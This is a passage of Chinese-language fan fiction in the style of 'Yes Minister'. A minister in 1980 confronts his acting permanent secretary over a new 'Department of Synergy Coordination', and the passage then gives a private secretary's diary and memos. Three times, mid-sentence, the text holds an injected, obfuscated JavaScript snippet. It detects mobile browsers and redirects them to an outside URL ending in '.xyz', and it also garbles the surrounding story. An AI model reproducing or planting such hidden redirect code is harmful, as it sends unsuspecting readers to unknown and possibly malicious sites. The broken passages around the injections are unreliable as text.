他的面孔与查尔斯记忆中“维克托”形象瞬间重叠，却又带着一种令人不安的陌生感。 维克托身上总是萦绕着一种漫不经心的松弛，像午后阳光下慵懒的猫，而眼前这位青年却暗藏着锋芒，像一柄收在鞘中的利刃。 “You… uh…” 查尔斯的声音还卡在喉咙里，震惊让他的思维短暂停滞。 而青年向西里尔极其轻微地点了一下头，后者立刻会意地向侧后方悄然退开半步。 “欢迎来到协同协调部，大臣。” 他向前一步，停在查尔斯面前，伸出右手，目光坦然地迎上查尔斯惊疑不定的视线。 “请允许我做个自我介绍。” 那声音平稳清晰，仿佛已经演练过多遍：“阿利斯泰·卡文迪许，您的代理常任秘书（Acting Permanent Secretary）。” “对于未能及时纠正之前的误会，我深表歉意。（Please accept my apologies for the delay in rectifying the earlier misunderstanding.）” 4. 礼仪和规章 查尔斯看着他，足足有两秒钟没有说话。 前天电话线那头带着慵懒鼻音、预言他会被“谨言慎行艺术”长久熏陶的“好友维克托”，与眼前这位一丝不苟、气势沉静却带着无形压迫感的“代理常任秘书阿利斯泰勋爵”，两个截然不同的形象在他脑中激烈地碰撞、试图融合，最终炸开一圈眩晕。 世界像被人调慢了半格，他几乎是下意识地伸手，握住了那只悬在半空的手。 干燥、微凉，带着不容置疑的力度。 握手结束的瞬间，查尔斯才猛地找回了自己的声音，带着难以置信的干涩和迟来的恍然大悟。 “哈……原来如此……不是‘礼仪上的繁文缛节’……（Ah… Not protocol…）”他短促地笑了一声，那笑声里没有多少笑意，“而是彻头彻尾的‘官僚作风的繁文缛节’。（But red tape all along.）” “大臣。礼仪是确保规章得以精确运行的保障，规章是保障礼仪得以切实遵循的依据。二者互为表里，缺一不可，共同构成这台机器的润滑剂。（Protocol is the protocol that ensures the red tape is correct; red tape is the red tape that ensures the protocol is observed. The one is indispensable to the other.）”阿利斯泰从容收回手，姿态优雅得无可挑剔。 “所以，我亲爱的‘观察者’。”查尔斯的声音陡然一沉，向前逼近一步。距离骤然缩短，几乎能感受到对方呼吸的节奏，“你早就知道我会掉进这个协同协调的‘兔子洞（rabbit hole）’，却饶有兴致地看着我在电话里像个傻瓜一样猜谜？这就是你那套高贵的‘礼节（protocol）’？” 他将声调压低了些，带着危险的探究意味，“那些预言，那些恰到好处的建议……都写在你那套章程（red tape）上了？” 西里尔屏住呼吸，身体悄悄地又往后挪了些，试图将自己从那片无形的力场中摘出去。 而阿利斯泰的站姿纹丝未动，连眉梢都未曾牵动分毫。他只是微微侧了侧头，灰绿色的眼睛专注地落在查尔斯身上，仿佛在仔细斟酌查尔斯话语中的每一个音节，那姿态优雅得如同在品鉴一首艰涩的拉丁诗篇。 沉默持续了几秒，沉重得能听到窗外白厅街遥远的车流声。 “大臣。”他终于开口，声音依旧平稳，“礼节是保留恰当程序的礼仪，（Protocol is the protocol that preserves proper procedure.）它确保秩序与流程，使规章得以维持并被正确执行；规章是具体实施章程的细则，（Red tape is the red tape that regulates right regulation.）有时是达成目标的必要路径（necessary path），有时则是它自身运转的副产品。我知道这扇门会开。选择走进去，是大臣的自由。” “‘礼仪保留程序，规章管理章程（Protocol preserves proper procedure; Red tape regulates right regulation）’？”查尔斯用咏叹调复述，身体再次前倾，带着被荒谬现实气笑的颤音，“哈！好一套精妙的辩证法。所以，维克托……或者说，卡文迪许勋爵——” “你是在向我布道，宣称官僚主义那令人窒息的繁复锁链，竟是程序正义的神圣化身？而我们这些在前台卖力表演的小丑（frontstage clowns），唯一的价值（value）就是乖乖配合，作为你们这些幕后提线大师（backstage puppeteers）精心编排好的‘必要参与人（necessary party）’？”他收了笑。 空气仿佛瞬间抽空，只剩下地毯纤维间压抑的静默。 西里尔一动不动的站在边上，目光在两位上司间游移，像一只在风暴边缘谨慎观察风向的鸟。 而查尔斯的目光，则紧紧锁定在阿利斯泰那张完美无瑕的脸上，试图在那平静无波的灰绿色深潭里找到一丝裂缝、一丝嘲弄、或者哪怕一丝被冒犯的涟漪。 但什么都没有。 “No, Minister.”阿利斯泰迎上查尔斯的目光，“价值（value）是一个相对的概念，取决于观察者所设定的坐标系。前台与后台，如同硬币的两面，缺一不可。您在前台的‘表演’——恕我使用这个您选择的词汇，提供着不可或缺的民主合法性，以及……推动议程的政治动能。而我们——在后台，则致力于确保这台机器的运转符合其既定的章程，并尽可能……精确地达成其预设目标。” “在这座名为白厅的剧院里，每个人都在扮演自己的角色。大臣们掌握着决策的缰绳（hold the reins of power），而文官们只是确保马车平稳行驶在指定道路上的……必要部件。” “协同协调部的大门是为您敞开的，大臣。而我，以及整个部门，存在的意义是服务于您的目标，并确保其与政府整体议程的……协调一致。”他微微欠身，一个极其优雅而克制的动作：“大臣剑之所指，文官之所向。（Ministermand is Civil Service writ.）” “既定的章程？预设的目标？”查尔斯发出一声短促的嗤笑，向前又逼近了些，将因为阿利斯泰姿势变动拉开的距离覆盖。 “我亲爱的勋爵，我们连这台该死的机器是干什么的都还没搞清楚！一个名字拗口得像绕口令一样的协同协调部（Department of Synergy Coordination）？告诉我，维克托，或者卡文迪许勋爵，或者随便你喜欢被称呼的什么。这个部门预设的目标是什么？嗯？协同什么？协调谁？还有你那位特有的高效（characteristic efficiency）又为它预设了什么样的章程？” 他的手指几乎要点到阿利斯泰笔挺的西装前襟上，声音因激动而微微拔高，“还是说，它的存在本身，就是那个章程（red tape）？一个精巧的、镀金的笼子（gilded cage），用来安置一只首相觉得太聪明、太麻烦、却又暂时不能丢掉的‘蠢笨狐狸（Charlie Foxy）’？” 阿利斯泰的目光随着他的指尖垂落，又很快抬起，面容依旧平静。 他微微偏过头，目光越过查尔斯的肩膀，仿佛在审视办公室墙上那张巨大的英国地图。然后，才缓缓转回视线，重新聚焦在查尔斯愠怒的脸上。 “一个相当精妙的比喻，大臣。”阿利斯泰的嘴角勾起一个弧度。 “狐狸以其敏锐和……适应性著称，至于镀金笼子，其价值往往不在于禁锢，而在于展示（display）。” “它提供了一个舞台，一个……焦点（focal point）。” 查尔斯哑声一笑，“展示而非禁锢——是你的说法吧？漂亮。焦点、舞台、光线就位。我负责表演，你在幕后拉绳子。” “展示，是种杠杆。（Display can be leverage.）”阿利斯泰向边上迈了一小步，灰绿色的眼睛凝视着查尔斯不动。 “协同（Synergy），其古典根源指向协同工作（working together），追求整体大于部分之和的效应。协调（Coordination），则是引导各异部分趋向和谐协作的艺术（the art of guiding disparate parts towards harmonious collaboration）。简而言之，DSC的使命，就是通过促使不同部门协同工作，引导其行为，以实现政府整体效率的……优化（optimisation）。” 他抬手摩梭着下颚，“或者，换一个更……务实的词组来解释，微妙控制（Subtle Control）。” “微妙控制部（Department of Subtle Control）？”查尔斯重复，声音里的愤怒被一种荒诞感短暂地冲淡了，“多么动听的婉辞（Euphemism），维克，或者说，阿利斯泰勋爵，你的古典学造诣真是登峰造极。你把官僚主义的枷锁，包装成了促进和谐的艺术？你把政治上的流放，美化成展示潜力的焦点（focal point）？” 他也后退半步，两人拉开距离。 查尔斯双臂环抱在胸前，看着这位代理常任秘书，像在审视一件奇特的展品。 “告诉我，在这套精妙的章程里，我这个所谓的掌舵者，真正的权限边界在哪里？是决定墙上这幅地图的悬挂高度，还是选择下午茶的内容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294764|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？或者，像西里尔刚才应下的。”他朝自己将来首席私人秘书方向抬了抬下巴，“订购一块供我信手涂鸦的可擦写板子（wipe-clean board）？” 被突然点名的西里尔身体微微一颤，几乎下意识地看向阿利斯泰。他注意到，当查尔斯提到可擦写板时，阿利斯泰的视线极其短暂地扫过办公桌旁那片预留的空地，眼神中没有任何意外，只有一种不出所料的了然。 阿利斯泰没有直接回答查尔斯的问题，他微微侧身，目光投向一直努力降低存在感的年轻人：“西里尔。” “Sir？”西里尔挺直脊背。 “关于大臣日程的初步草案，我想你已经向大臣汇报过了？” “Yes, Sir. ”他迅速回应，“已放在收文篮中，并向大臣做了简要说明。” “很好。”阿利斯泰的目光重新回到查尔斯身上，“大臣，为了尽快让协同协调部进入运转状态，并履行其协调职能，我建议将首次正式的跨部门信息共享例会（Inter-Departmental Information Sharing Liaison Meeting）提上日程。时间初步定在本周三下午三点。这将是一个宝贵的起点，让您初步了解白厅各部委之间当前信息流动的形势（current landscape）与潜在……协同空间（synergistic potential）。” 他抬起一直拿着的那份文件，翻开，递向查尔斯。 查尔斯没有立刻去接。他的目光落在文件最顶端那一行加粗的标题上： 协同协调部大臣查尔斯·海德阁下 - 首周日程草案 (DRAFT) (The Rt Hon Charles Hyde MP, Secretary of State for Synergy Coordination - Proposed Schedule Week 1) 而在那密密麻麻的会议、简报、接见安排的最上方，第一项日程，赫然用清晰的黑体字写着： “周一 1月21日下午 “确认并执行：大臣办公室布局调整 (Finalise & Execute: Ministerial Office Layout Adjustment) “物品：可擦写白板及配套耗材订购与安装 (Item: Ordering & Installation of Wipe-Clean Board & Accessories) “负责人：C. Astley, PPS候选人 (Action: C. Astley, PPS designate) “在14：00之前完成。（By 14:00）” 时间仿佛凝固了一瞬。 查尔斯盯着那行字，又猛地抬头看向阿利斯泰那张平静无波、仿佛一切尽在掌握的脸，再看向那片他刚刚才向西里尔指出的、计划放置白板的空地。 “您的权限是制定目标，大臣。我的职责是先确保这台机器看起来在运转。”阿利斯泰的手依旧平稳地举着文件，他坦然迎接着查尔斯复杂的目光，“形式是润滑，内容需要时间，今天，我们先确保形式存在。” 窗外的白厅街，一辆黑色出租车按响了喇叭，声音遥远而模糊。 “看起来……”查尔斯缓缓吐出一口气，“你真诚实。” “诚实是高效的前提。”阿利斯泰点头，“尤其在起步阶段。” 查尔斯伸手，把那份日程翻过一页，又翻回来，指尖在“14：00”停了一瞬。 “好极了，阿利斯泰·卡文迪许。”他把文件推回去，声音恢复了带锋的轻快，“你的白板，如果两点不到，我会让整栋楼都知道。” “它会准点。”阿利斯泰轻轻合上文件，放在收文篮里。 “那么，大臣。协同协调部的航程，现在正式启碇。” 他略一颔首，转身离去。门在他身后无声地闭合。 查尔斯站在原地良久，忽然笑了下，笑意并不愉快。他抬眼看向那面空墙，看向未来白板将要占据的位置。 “那就让它运转吧。”他说。声音不高，却被办公室高顶的回声放得很清。 镀金牢笼的门在身后关上，而前方的迷雾中，权力游戏的航道，才刚刚显露其诡谲的轮廓。查尔斯·海德、阿利斯泰·卡文迪许、西里尔·埃斯利，白厅的故事拉开帷幕。 5. 西里尔的日记（1980.1.1920） 【幕间】S01E00.5 西里尔的日记及备忘录（1980.1.19-21） 1980年1月19日，星期六 | 伦敦，皮姆利科 | 阴冷，薄雾 星期六的早晨，本该是难得的清闲。 然而，刚过八点，门铃响了。 一位内阁办公厅的通讯员递给我一份密封文件袋，封口处盖着醒目的内阁办公厅印章。 拆开，是调令。措辞简洁高效，带着不容置疑的权威： “西里尔·埃斯利先生，即日起临时借调至协同协调部（Department of Synergy Coordination, DSC）筹备组，协助框架搭建与初期运作。即刻生效。负责人：阿利斯泰·卡文迪许（Alistair Cavendish）。” 协同协调部……这个名字在白厅的走廊里已经悄悄流传了一天，一个悬浮议会妥协下的新生儿，名字拗口得像个学术课题。而我，一个在文官阶梯上刚爬到主管官（Principal）没多久的年轻人，竟被直接抽调到它的核心筹备组，还直接向他汇报。 关于他的传说，年轻文官们私下里已讲过太多。不是因为他那个显赫的姓氏——尽管那确实是个话题——而是因为他令人目眩的晋升速度和那些流传甚广的故事：如何在能源部预算审查中，仅凭一份逻辑缜密的备忘录就逆转了整个项目方向；如何在一次棘手的跨部门协调中，让几位资历远高于他的常任秘书心服口服地让步；以及他那份永远冷静、精准、仿佛能洞悉一切迷雾的……存在感。 当然，还有那些关于他如何“擦拭银汤匙”的议论。总有人酸溜溜地认为他的晋升得益于出身，却选择性忽视他每一步都踩在无可辩驳的功绩上。我知道他……不太喜欢那个头衔，私下里了解过一些，似乎与他早年遭遇的、因贵族身份带来的隐形排挤有关。在白厅，一把银汤匙若不能自己打磨成金，反而会成为负担。而他显然深谙此道，并将其淬炼成了武器。 在财政部短暂轮岗时，我有幸在他团队的下属部门短暂工作过。远远观察过几次他主持会议的样子，安静、锋利、没有赘词——像把刀稳稳地放在桌上，光不耀眼，却让人不轻易伸手。“银汤匙要靠金履历擦拭，才不刺眼。”这话从别人口里是讥笑，从他口里像原则。 其实或许还要更早些，在牛津贝利奥尔，我还是个本科生时，就见识过他的风采。那时他应该是财政部负责教育支出审查的官员，来学院做非正式咨询，一场关于教育预算的听证会。一个小秘密，正是那次旁听，让我最终下定决心报考文官。 但敬仰归敬仰，此刻更多的还是忐忑。被借调去建设一个全新部门的框架？这责任远超我目前的层级。 但“即刻生效”。 周末泡汤了，收拾，报到。 —— —— —— 1980年1月20日，星期日 | 伦敦，皮姆利科 | 寒冷，雾气弥漫 星期日，本该是安静的，除非你被卷进一个新部门的诞生漩涡里。 今天是我被调任参与建设DSC的第二天。 办公室的门虚掩着，推门进去，他已经在里面了，比通知的时间还早。这倒不意外。 他站在窗边，背对着门，看着外面灰蒙蒙、雾气笼罩的白厅街景。剪裁完美的炭灰色三件套，身形挺拔而略显清瘦，铂金色的短发在缺乏阳光的室内泛着冷调的光泽。 房间里只有一张临时搬来的办公桌，几把椅子，一个空荡荡的文件柜，还有角落里一个冒着微弱热气的电暖炉——显然不足以驱散这老建筑骨髓里的寒意——是了，昨天一天筹备组都在忙着完善更重要的部分，没能关照到Sir的办公室。 “埃斯利先生。”他没有回头，声音平稳低沉，带着独特的韵律感，穿透了房间的寂静。“准时是国王的礼节，文官的职责（Punctuality is the politeness of kings, and the duty of civil servants. ）。很好。” “Morning, Sir.”我努力让声音听起来同样平稳，放下公文包。 他转过身，灰绿色的眼睛看过来，那目光带着一种评估的意味。 没有多余的寒暄：“内阁办公厅提供的PPS候选人短名单在你桌上。我需要你在中午前完成初步筛选，标注出你认为最合适的三位，并附上简要理由。重点是：谨慎、组织能力、以及对白厅生态的理解。” 他顿了顿，“另外，这是大臣办公室的初步布局方案。”他递过来一张手绘的草图，线条简洁精准，标明了办公桌、访客区、文件柜的位置，甚至预留了一面空白的墙。“大臣的喜好未知，但基础功能必须齐备。优先确保电话线路畅通、收发文系统到位。具体装饰细节，”他嘴角似乎有一丝极淡的弧度，“等我们的大臣阁下莅临后再议。效率是关键，埃斯利先生，我们时间有限。” 任务清晰、直接，不容置疑。这正是他的风格。没有对新部门的宏伟蓝图演讲，只有亟待执行的具体事项，反而让我松了口气。行动，总比无谓的猜测要好。 整个上午都在忙碌中度过。筛选PPS候选人名单需要快速回忆和判断每个人的背景、口碑和可能的适配性。同时还要协调后勤和资产管理司，确保基础办公设施能在明天大臣到岗前勉强就位。电话、桌椅、最基本的文具……每件事都需要沟通协同，而“协同协调部”此刻自身却像个蹒跚学步的婴儿。讽刺感十足。 午餐是匆匆解决的三明治。回来时，Sir还在他的临时办公桌前，面前摊开几份卷宗，左手拿着钢笔快速批注着。他头也没抬：“埃斯利，关于大臣办公室里间的配置，我需要你的建议。常规选项是储藏和小型接待。但考虑到DSC的……特殊性，是否有其他潜在用途需要提前规划？写份简要备忘录给我。” 我自然应下，打算出去到分配给我的小隔间完成这份任务时，Sir叫住了我，他说，就在这里完成它。 “Yes, Sir.”我立刻坐下，开始构思。 这看似简单的问题，却让我思考了很久。DSC的特殊性？它的模糊性本身就是最大的特殊性。一个被各方视为安置花瓶的新部门，大臣会如何利用这个空间？仅仅是储藏大衣和文件？还是可能进行更私密的、非正式的谈话？我试图站在一个尚未谋面的大臣角度思考，最终在备忘录里列出了几种可能性，并倾向于保持灵活性。 临近傍晚，我终于将那份关于里间的备忘录放在了他的办公桌一角，放在午前就提交的筛选好的PPS名单旁： 备忘录（MEMORANDUM） 协同协调部筹备组 - Department of Synergy Coordination（Establishment Project） 编号（Ref）：DSC/EP/INT/002/80 收件人（To）：A. Cavendish 发件人（From）：C. Astley 日期（Date）：20 January 1980 主题（Subject）：大臣办公室附属里间配置建议（Configuration Options for Minister''s Office Annex） Mr. Cavendish, 关于大臣办公室附属里间的配置，经初步考虑，提出以下选项供您审阅： 1、标准储藏/茶水间（Standard Store/Pantry）： 优点：实用性强，符合常规设置。可存放大臣外套、文件箱、书籍，并配备小型水槽、橱柜，用于准备茶水、咖啡及简单茶点（饼干等）。成本低，易于快速布置。 缺点：功能单一，空间利用率可能不高。私密性不足，仅适合短暂休憩或与一两名亲近幕僚的非正式交谈。 2、增强型私密会客室（Enhanced Private Meeting Room）： 优点：提供更高私密性，适合大臣与特定访客（如同僚、高级文官、需谨慎对待的利益相关方）进行更深入或敏感的谈话。可配备更舒适的座椅、小茶几。提升大臣工作环境的舒适度和功能性，可能更契合DSC未来可能涉及的协调性工作（常涉及敏感或初步讨论）。 缺点：需额外预算购置家具（沙发、茶几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294765|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等）。占用空间稍多。可能被视为“过于舒适”或超出新部门初始配置的常规范围，引发不必要的关注或议论。 3、混合配置（Hybrid Configuration）： 建议：以标准储藏/茶水功能为基础（保证实用性），但选用更简洁、体面的内置橱柜（可上锁），并预留电源点位。初期仅放置必要的储藏架和茶水设备。保留空间核心区域的灵活性，不固定摆放大型家具（如沙发）。 优点：平衡实用性与未来扩展性。成本可控（初期投入与选项1相当）。可根据大臣实际使用习惯和部门运作需求，在未来几周/月内灵活调整：若需更多私密会谈空间，可轻松添加一两把舒适扶手椅和小边桌；若主要用作储藏，空间也足够。避免初期过度投入于可能闲置的功能。 理由：鉴于DSC职能的独特性和尚待明确，以及大臣个人工作风格的未知性，提供最大灵活性似为审慎之举。既可满足基本需求，又能快速响应后续变化。 建议：倾向选项3混合配置。优先确保基础功能（储藏、简单茶水）就绪，空间核心保持空旷灵活，为未来可能的私密谈话需求预留改造余地，同时控制初期成本与观感。 请指示。 Cyril Astley 他拿起备忘录，快速扫了一眼，拿起他那支看起来颇有年头的深绿色钢笔，在页边空白处利落地写了几行字。 “Sir？”我忍不住轻声问，带着些完成任务的期待和紧张。 他没有立刻回答，而是将批注好的备忘录递还给我。他的字迹流畅而有力，带着古典的美感，但批注的内容却让我瞬间清醒： 分析全面，但过度详尽。核心是功能与灵活性。【在“分析全面”下划了线（Underlined）。】 避免将备忘录写成私人日记（Avoid conflating memo with personal diary.）。聚焦可执行选项。【圈住了“潜在用途”和部分分析性描述（Circled）。】 采纳建议：基础配置，预留调整空间。执行。 记住，每个字都可能是记录。简洁是美德，模糊是护甲。（Remember, every word is potentially minuted. Brevity is a virtue; ambiguity, armour.） A.C. 20.01.80 最后那句批语像一记警钟，Sir在提醒我文官世界的生存法则。我的分析或许细致，但在他看来却失于冗长。因为在白厅，过度的细节有时反而是负担和破绽。他总能一针见血。我脸上一阵发热，这是被当场纠正的专业挫败感，但也混杂着一种……被纳入某种严苛标准的奇异感觉。 “明白了吗，埃斯利先生？”他端起手边的茶杯——不知何时送来的，茶色很深，热气几乎看不见——抿了一口，目光依旧平静无波。 “Yes, Sir. 简洁与灵活，我会记住。”我深吸一口气，收起那份沉甸甸的、被批注过的备忘录。它像一份最直接的入职手册。 “很好。”他放下茶杯，杯底接触桌面发出轻微而清脆的声响。“明天，我们的主角就要登场了，确保一切就绪。你的首要任务是引导他顺利进入角色，并……”他停顿了一下，灰绿的眼眸深处似乎有什么东西闪动了一下，“……观察。你的角色将是DSC信息流的关键节点，西里尔。” 他叫我西里尔。 我知道我被留任了，作为PPS的候选人——有力候选人。 临走之前，Sir写了张便笺给我： Cyril, 明日重点，流程顺畅与第一印象。确保大臣顺利抵达、环境清楚、感受到初步的“可用”。观察，记录任何特殊要求或习惯。如涉及政策，请引至内阁办材料或直接转我。 另，注意到气象预报明日晨间气温较低，提醒司机确保车内供暖充足。 效率和得体是关键，不卑不亢，避免过度承诺，展现可塑性。 不必紧张。 A.C. 20.01.80 我将便笺和那张写了批注的备忘录收在一起。 6. 西里尔的日记（1980.1.21） 1980年1月21日，星期一 | 伦敦，皮姆利科 | 刺骨寒冷，浓雾 忙碌了一天之后总算有时间坐下来整理思绪，一时竟不知从何落笔了。 上帝啊，今天真是……一场洗礼。白厅的冬日寒风都没能吹散我脑子里的嗡嗡声。 说到寒风，提前近两个小时抵达协同协调部大楼时，那种湿冷真是刻骨铭心。雾气浓得化不开，裹挟着泰晤士河特有的阴冷，直往骨头缝里钻，裹着厚大衣都觉得无力。 大楼里依然空荡，脚步声在走廊回响，供暖似乎还没完全战胜这栋老建筑的顽固寒气，赶忙通知后勤将暖气阀开到最大。 重新检查过事项卡点去到室外等待迎接大臣时已临近中午，但我在大楼门口站了不到十分钟，手指尖就已冻得发麻，呼出的白气瞬间被寒风撕碎。有些后悔没有穿厚大衣出来，可再想返回办公室去取已经来不及了，心里只盼着大臣的车快点到，好躲进有暖气的室内。隔壁部门的一位文官路过，裹得像个爱斯基摩人，看我的眼神充满同情，大概在想这年轻人为了“体面”——或者说，为了给新大臣一个好印象——连命都不要了。 新大臣是查尔斯·海德阁下，自由党的新星，报纸上总把他描绘得精力充沛、思维跳脱，有时甚至有点……危险的不拘一格。不知道他会不会是个难伺候的主儿？内阁办公厅的PPS候选人名单上有我，我没有筛掉自己，Sir也没有筛掉我，但最终决定权在他。这份差事……希望能成。 给一位新设部门的大臣当首席私人秘书，风险与机遇并存。成功了，履历添彩；失败了，大概就得在某个部委的档案室里默默无闻好几年了。但更重要的，是能在Sir手下工作，尤其是在一个新部门从零开始，近距离学习他如何驾驭这艘新船，是难得的机遇。 这么想着，突然感觉暖和了点——大抵是冻麻木后的回暖幻觉。 11点08分，那辆黑色的奥斯丁公务车终于到了，比预定稍晚了些，但总算没有在唐宁街门口冻僵。我深吸一口气，压下那点新官上任——好吧，是新大臣上任，我还只是个PPS候选人——的紧张感，快步迎上去为他拉开车门。心里默念着流程，祈祷别在关键时刻打哆嗦出丑。 大臣本人比报纸照片上看起来更有活力，穿着棕色羊毛大衣。脸上带着点劳顿和仪式带来的肃穆，但那双眼睛扫过来时，锐利得很，带着审视，也带着好奇。我那句试探性的幽默“早上好，大臣。或者中午好？”似乎没砸在地上，大臣笑了，还伸出了手，一个不错的开端。 按计划做了自我介绍，大抵是被风冻的，不自觉加快了语速……他果然把我的名字连读了，“里拉斯特利爵士”的误会让我差点笑出声，幸好绷住了。赶紧澄清，自然的解释了文官体系里的“Sir”称谓规则，顺势提到自己作为PPS designate的身份，期待为他服务。大臣说“相信我们会相处愉快”时，眼神是认真的。这感觉不坏。 引他上三楼办公室的路上，大臣让我直呼其名，很随和，但也透着政客特有的、迅速拉近距离的精明。我说我还是习惯喊大臣为大臣。保持不卑不亢，这是Sir的要求，也是文官的本分。 推开大臣办公室的门，那张我亲手挂上去的巨大的英国地图挂在北墙，像个沉默而略显威严的旁观者，注视着这片尚待填充的权力真空。过去两天Sir带着我们几个借调来的小团队连轴转，才勉强有了个部门的雏形。效率惊人，但也累得够呛。 我按指示解释了布置简陋的原因，并提到可按他喜好调整。大臣的目光在房间里扫视，带着审视，也带着点新奇。他没什么架子，这让人松了口气。他唯一的具体要求就是在办公桌旁那片预留的空地放一块大号可擦写板。这暗示他是个视觉化的、活跃的思考者？一个行动派？我立刻应下。他对其余布置表示“按常规安排就好”，看来不是个过分挑剔细节的人，这点很好。 介绍两扇门时，推开里间门按标准说辞解释了用途。走到连接常秘办公室的门时，我顿了一下，只说明用途，没推开。大臣那句“午餐时间？”的调侃带着明显的试探意味。我只好硬着头皮解释Sir是去领取正式任命函了——这倒是事实，但感觉像是在为上司的不在场找借口。 更棘手的是头衔问题。当大臣追问“是先生（Sir）？还是阿利斯泰爵士（Sir Alistair）？”时，我知道绕不过去了，斟酌了用词，但说完还是忍不住踮了踮脚尖，有点紧张，怕Sir知道我用了“Lord”前缀，即使是在解释他不喜欢的情况下。 然后……那一刻，门开了。Sir站在那里，手里拿着薄薄的文件，铂金色的头发一丝不乱，炭灰色人字纹三件套像是长在他身上一样熨帖。冬日微弱的光线从他身后走廊的窗户透进来，给他周身勾勒出一道冷冽的轮廓。我瞬间僵住了。不是因为他的出现，而是因为大臣脱口而出的那个词： “Victor？” 胜利者？这称呼从何而来？ Sir向我极其轻微地点了下头——那是给我的信号。我立刻会意，屏住呼吸，将自己缩进背景里，努力降低存在感。心脏在肋骨下擂鼓。 接下来的场景，简直像一场精心编排却又完全失控的戏剧。大臣的震惊、被欺骗的愤怒，一连串的质问砸向Sir。他称呼Sir为“亲爱的观察者”、“亲爱的勋爵”、“卡文迪许勋爵”，话语里充满了火药味和讽刺。我从未见过有人敢这样对Sir说话。 Sir的应对堪称教科书级别的文官艺术，冷静、精确、滴水不漏。他用“礼仪即规章，规章即礼仪。”那套精妙的同义反复化解着攻击，姿态优雅得像在进行一场高雅的辩论，但字里行间都在无声地划定着权力的边界。 他把大臣的“掌舵者”角色捧得很高，又将文官的角色定义为“确保马车行驶”的“必要部件”。每一句都无懈可击，却又像在两人之间砌起一道无形的高墙。那句“大臣剑之所指，文官之所向。”，听起来是绝对的服从，但在当时的氛围下，却有种冰冷的、程式化的距离感。 当大臣愤怒地质问这个部门是不是“镀金的牢笼”时，Sir那双灰绿色的眼睛深处，似乎有什么东西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294766|182690||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 极其细微地闪烁了一下，转瞬即逝，我几乎以为是自己眼花了。他巧妙地避开了正面回答，转而解释部门目标是“微妙控制”，官僚的枷锁被包装成和谐艺术，政治流放则美化成展台中央，把大臣的怒火从对个人引向对权限的质问。 当大臣讽刺自己的权限可能仅限于订购白板时，Sir……他拿出了那份日程草案，第一项：“确认并执行：大臣办公室布局调整 - 物品：可擦写白板及配套耗材订购与安装。下午两点前就位。” 我第一次直观地理解预判这回事。它不是炫耀，而是一种压迫的美学，把不确定压缩成事已如此的笃定。 在大臣甚至还未踏入办公室、还未向我提出要求之前，Sir不仅预判了需求，甚至提前安排好了执行。这种前瞻性和掌控力……令人震撼。看着大臣盯着日程表时那混合着震惊、荒谬和被看穿的复杂表情，我差点没控制住自己的面部肌肉。 13：45，白板准时送达并安装完毕，光洁如新。 我把它安置在那片预留的空地，看着它，感觉像经历了一场微型政变。 大臣把自己关在办公室里，对着白板涂画着什么。Sir则在自己的办公室处理文件，仿佛上午的冲突从未发生。我坐在秘书处的位置，整理着文件，脑子里却不断回放那些对话。 “维克托”是谁？大臣显然认识一个叫这名字的人，并且确信就是Sir。但Sir否认了吗？还是说“维克托”是Sir的某个……化名？他们之前有过交集？在什么场合？这解释了大臣的震惊和被欺骗感。 Sir的预判力，从白板的摆放位置到大臣可能的每一个反应，他都精确预判到了。这不仅仅是经验，更像是对大臣本人有深入了解。他们之前的关系到底如何？我对此一无所知，只能观察。 但Sir与大臣显然有私交，且相当熟稔，而这层关系被Sir以最专业——或者说，最官僚——的方式划清了界限，甚至带点刻意的切割意味。这对未来部门运作意味着什么？是润滑剂还是地雷？ 大臣绝非等闲之辈。他的敏锐、直觉和不甘被操控的劲头非常强烈。他称呼Sir为“维克托”时的愤怒是真实的，这预示着他不会轻易接受被“微妙控制”。 Sir的掌控力深不可测。他对细节的预判和对场面的引导，令人敬畏。那块白板，那份日程，是无声的宣言。 镀金牢笼？看着大臣站在空旷的办公室中央，看着那块崭新的白板，再回味Sir那句“提供一个舞台，一个焦点”……这个隐喻，实在令人难以忽视。只是不知道，对谁而言是牢笼，对谁而言是舞台？或者，两者皆是？ 尘埃落定——暂时的。我的手指终于暖和过来了，但脑子还在嗡嗡作响。明天还要协助大臣完成那份会议报告。希望这艘名为DSC的船，能在Sir的掌舵下，驶过这片初航的惊涛，而不是……直接撞上冰山。至少，有他在，这艘船沉不了。这点信心，我还是有的。 我得赶紧去确认明天的部门内部会议简报材料。一丝一毫的疏漏，在这种微妙的开局下，都可能被放大。 7. 西里尔的备忘录+查尔斯的日记（1980.1.21） 备忘录（MEMORANDUM） 协同协调部 - Department of Synergy Coordination 编号（Ref）：DSC/PO/MIN/INT/001/80 收件人（To）：The Secretary of State（The Rt Hon Charles Hyde MP） 抄送（Cc）：The Acting Permanent Secretary（Mr. A. Cavendish） 